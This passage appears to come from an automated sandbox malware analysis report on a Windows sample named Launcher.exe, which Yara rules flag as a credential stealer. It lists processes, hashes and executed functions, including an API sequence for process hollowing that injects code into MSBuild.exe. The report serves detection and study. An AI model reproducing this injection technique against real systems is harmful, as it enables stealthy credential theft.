Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:49:56
Start date:	22/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:49:57
Start date:	22/12/2024
Path:	C:\Users\user\Desktop\Launcher.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Launcher.exe"
Imagebase:	0x9c0000
File size:	552'960 bytes
MD5 hash:	B7C46F4D20C5A3926DF76E882D2BABE7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2349716206.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2348231788.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2346332053.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2348803317.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2343011519.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2349091115.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2346946917.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2183979276.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2343830924.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2345580376.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2347665217.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2318603921.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2344743144.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:49:57
Start date:	22/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 600
Imagebase:	0x720000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	2.7%
Signature Coverage:	5.1%
Total number of Nodes:	294
Total number of Limit Nodes:	10

Executed Functions

Function 009FC19E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,009FC110,009FC100), ref: 009FC334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 009FC347
Wow64GetThreadContext.KERNEL32(0000009C,00000000), ref: 009FC365
ReadProcessMemory.KERNELBASE(00000098,?,009FC154,00000004,00000000), ref: 009FC389
VirtualAllocEx.KERNELBASE(00000098,?,?,00003000,00000040), ref: 009FC3B4
WriteProcessMemory.KERNELBASE(00000098,00000000,?,?,00000000,?), ref: 009FC40C
WriteProcessMemory.KERNELBASE(00000098,00400000,?,?,00000000,?,00000028), ref: 009FC457
WriteProcessMemory.KERNELBASE(00000098,?,?,00000004,00000000), ref: 009FC495
Wow64SetThreadContext.KERNEL32(0000009C,01380000), ref: 009FC4D1
ResumeThread.KERNELBASE(0000009C), ref: 009FC4E0

Strings

SetThreadContext, xrefs: 009FC2C2
Load, xrefs: 009FC1DA
ResumeThread, xrefs: 009FC2D8
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 009FC333
VirtualAllocEx, xrefs: 009FC29C
WriteProcessMemory, xrefs: 009FC2AF
ReadProcessMemory, xrefs: 009FC289
aryA, xrefs: 009FC1E2
CreateProcessW, xrefs: 009FC250
TerminateProcess, xrefs: 009FC3C3
ress, xrefs: 009FC226
GetP, xrefs: 009FC21E
VirtualAlloc, xrefs: 009FC263
GetThreadContext, xrefs: 009FC276

Memory Dump Source

Source File: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 7c9a1c5866174c7c7f5f4b866d76168c6d3d76c471fa5273da7e385c32f40e1e
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: FAB1087264024AAFDB60CF68CD80BEA73A5FF88714F158524EA0CAB341D774FA51CB94

Function 009C1870 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 162
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 009C18F3
GetFileSize.KERNEL32 ref: 009C1922
CloseHandle.KERNEL32 ref: 009C193E

Strings

A2sx, xrefs: 009C187E

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID: A2sx
API String ID: 1378416451-2144273025
Opcode ID: 1314b5a79ad2d3ce03a7649edb2c25948a4a3d25cfcc1b9da581cdbe7e35fb2c
Instruction ID: bd13881a7ae4503d6fdb2997dc5b68db402ab3e809213fcde1b92e274d784f9e
Opcode Fuzzy Hash: 1314b5a79ad2d3ce03a7649edb2c25948a4a3d25cfcc1b9da581cdbe7e35fb2c
Instruction Fuzzy Hash: 5A718EB0D092489FDB00EFA8D598B9DBBF0BF49304F10892DE499AB391D734A945CF56

Function 009C7D50 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcspn.LIBCMT ref: 009C7EB0
_strcspn.LIBCMT ref: 009C7EDE

Strings

A2sx, xrefs: 009C7D83
@, xrefs: 009C81A9

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: _strcspn
String ID: @$A2sx
API String ID: 3709121408-3562078102
Opcode ID: c19c17ca25b268d22860eb2af5a0ba0f7de5d96a539c6b09ef8a05fcd853a607
Instruction ID: 021b09042087612993ace7ea103b7f29d603d57ee531f819e6de0c38124d7928
Opcode Fuzzy Hash: c19c17ca25b268d22860eb2af5a0ba0f7de5d96a539c6b09ef8a05fcd853a607
Instruction Fuzzy Hash: 8032C3B4D042698FCB14DF64C981BDEFBF1AF89300F0585AAE849A7351D734AA85CF52

Function 009C1710 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 009C177B
VirtualProtect.KERNELBASE ref: 009C182B

Strings

A2sx, xrefs: 009C171D
@, xrefs: 009C181F

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual
String ID: @$A2sx
API String ID: 621788221-3562078102
Opcode ID: d5b5abf8efd5961b8712027ba99d62bfdd5f6b4cc934a40582cfed4f17200b8d
Instruction ID: 28193ef9102c7955d17c1b772dee51aad766b310976c30772de0815cfb7e9b69
Opcode Fuzzy Hash: d5b5abf8efd5961b8712027ba99d62bfdd5f6b4cc934a40582cfed4f17200b8d
Instruction Fuzzy Hash: 7F419EB0D042089FDB04EFA9D584AAEBBF0AF48344F118819E458AB351D7759945CF95

Function 009E8795 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,009E8127,?,009D83F3,?,?,?,00000000), ref: 009E8831
GetLastError.KERNEL32(?,009E8127,?,009D83F3,?,?,?,00000000,?,?,?,?,?,009D8191,?,009D83F3), ref: 009E8857

Strings

A2sx, xrefs: 009E87A4

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: A2sx
API String ID: 442123175-2144273025
Opcode ID: f421c586929c336eb044377c2e4afb266659a664750f4d3b7af501548e4d0320
Instruction ID: 946aa984817d2cb02ce2a75889401539e5128659afbeed83d2cafb48658aa937
Opcode Fuzzy Hash: f421c586929c336eb044377c2e4afb266659a664750f4d3b7af501548e4d0320
Instruction Fuzzy Hash: A6218035A002599FCF1ACF5ADD809EAB7BAFF48305B2444A9E91AD7211DB30DD42CF60

Function 009C1C00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EqualPrefixSid.KERNELBASE ref: 009C1C4B

Strings

A2sx, xrefs: 009C1C0C
@Ju, xrefs: 009C1C4B

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: EqualPrefix
String ID: @Ju$A2sx
API String ID: 447727826-361979625
Opcode ID: 838a7731a8aaaec30fa7b93123a4c4beabf6e408dd49a71015231ed81101f2c3
Instruction ID: 045a64e067acec9eaccf8d87a84ea6ffe7a02a78f762a56eaf9ffd8db6ed3c52
Opcode Fuzzy Hash: 838a7731a8aaaec30fa7b93123a4c4beabf6e408dd49a71015231ed81101f2c3
Instruction Fuzzy Hash: 6D011D70D14208DFCB00EFA8D955BAEBBF4BF44304F40445EE45997351EB74AA04DBA2

Function 009C1B80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 009C1BA8
GetModuleFileNameA.KERNEL32 ref: 009C1BC8

Part of subcall function 009C1870: CreateFileA.KERNELBASE ref: 009C18F3

Strings

A2sx, xrefs: 009C1B89

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: FileModule$CreateHandleName
String ID: A2sx
API String ID: 2828212432-2144273025
Opcode ID: cdf0e01120dda1c1218380570383993c8a269784ecdacb20cc923d54999e3c85
Instruction ID: 7bb53103a5df724765f7cfd36ac8a70dbac19f9e380671a54a7fa20df0455542
Opcode Fuzzy Hash: cdf0e01120dda1c1218380570383993c8a269784ecdacb20cc923d54999e3c85
Instruction Fuzzy Hash: EFF0BDB19082089FC754EF78D9457ADBBF4AB54300F4185ADE4CDD7350EA749988DF82

Function 009D294E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A2sx, xrefs: 009D2954

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID:
String ID: A2sx
API String ID: 0-2144273025
Opcode ID: 0ab19e9f2be1d2d99d2c36c6077e584058e8a061f542b2cb85f53b5c69476b5d
Instruction ID: db2c531cc467765410cce967415a54f0f2a2c863aa63d4802ccc3224c6a38373
Opcode Fuzzy Hash: 0ab19e9f2be1d2d99d2c36c6077e584058e8a061f542b2cb85f53b5c69476b5d
Instruction Fuzzy Hash: 3631913294411AAFCB15CFA8C9909EDB7B9FF19320B14826BE515E3390D731E945CBA0

Function 009D1A88 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009D19F9: GetModuleHandleExW.KERNEL32(00000002,00000000,009CE1E1,?,?,009D19BC,?,?,009D198D,?,?,?,009CE1E1), ref: 009D1A05

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,78733241,?,?,?,009F0244,000000FF), ref: 009D1AEF

Part of subcall function 009CB1F0: std::_Throw_Cpp_error.LIBCPMT ref: 009CB21C
Part of subcall function 009CB1F0: std::_Throw_Cpp_error.LIBCPMT ref: 009CB238

Part of subcall function 009D386F: ReleaseSRWLockExclusive.KERNEL32(?,?,?,009CB2B9,?,009CF9C2), ref: 009D3884

Strings

A2sx, xrefs: 009D1A9B

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CallbackExclusiveFreeHandleLibraryLockModuleReleaseReturnsWhen
String ID: A2sx
API String ID: 1423221283-2144273025
Opcode ID: 817b0ad96ed73a1b5ad88d1f8787971aab6139a352780ef2fdea8f2b077491c0
Instruction ID: 5604b0a22e5d99b3155a8e4b59906a65d3f21ed42454eff44341e8b96c099d26
Opcode Fuzzy Hash: 817b0ad96ed73a1b5ad88d1f8787971aab6139a352780ef2fdea8f2b077491c0
Instruction Fuzzy Hash: B4113433688604BBCB216B65EC21B3E77ADEB84B20B10C51BF911873A0DF35E800DB51

Function 009E7FBC Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009E8366: GetConsoleOutputCP.KERNEL32(78733241,00000000,00000000,?), ref: 009E83C9

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,009D8191,?,009D83F3), ref: 009E8141
GetLastError.KERNEL32(?,009D8191,?,009D83F3,?,009D83F3,?,?,?,?,?,?,?,?,?,?), ref: 009E814B

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 29194a70226b35349d78325cbde6d0c054acaf504fe503022392d4b8189e9418
Instruction ID: 4cbdde7e9839c7217a4a455f6dc3f50964a090f5fb3d17b239c6fb7d96b824da
Opcode Fuzzy Hash: 29194a70226b35349d78325cbde6d0c054acaf504fe503022392d4b8189e9418
Instruction Fuzzy Hash: 7A6191B1908199AEDF12CFE9CC44AFFBBB9AF49304F140545E908A7252DB36DD06DB60

Function 009E1F19 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,009E1E08,009FB810), ref: 009E1F65
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,009E1E08,009FB810), ref: 009E1F77

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: b91765034adc45b849f99ec89c6c64648255f1c1c38a44eece7913f0909da86a
Instruction ID: 16a6b4b828e5a9aa33db13daabea560e3340c5f4bf6ca3229f9b0b7167392560
Opcode Fuzzy Hash: b91765034adc45b849f99ec89c6c64648255f1c1c38a44eece7913f0909da86a
Instruction Fuzzy Hash: 6A1181712087814AC7324A3F8C88632BAA9EB56330B380F19E0BA861F1C734DD86D2C1

Function 009E0487 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,009E46B0,?,00000000,?,?,009E4350,?,00000007,?,?,009E4C96,?,?), ref: 009E049D
GetLastError.KERNEL32(?,?,009E46B0,?,00000000,?,?,009E4350,?,00000007,?,?,009E4C96,?,?), ref: 009E04A8

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 0dbdc7353f899aca091e03b219763cfe0fd3f3e3dbbdccf17265a0981bf7e533
Instruction ID: f3021590b0c4aa358ee407fbcc69a2e6f81d79e8b8136665251f5aac454e612b
Opcode Fuzzy Hash: 0dbdc7353f899aca091e03b219763cfe0fd3f3e3dbbdccf17265a0981bf7e533
Instruction Fuzzy Hash: 57E08672244745ABCB112BA1ED08BA93A6C9F80751F548021F70CD6170E6788840DB84

Function 009D2940 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: a162ea7e8924dd6e7e805b73e9b6c25f1b58cf253a3c9d6e15bdec994459e318
Instruction ID: d5f448f0b3c0bb458f06a119d0f8cf346f4da809d7cc958a50bc9453a9a669af
Opcode Fuzzy Hash: a162ea7e8924dd6e7e805b73e9b6c25f1b58cf253a3c9d6e15bdec994459e318
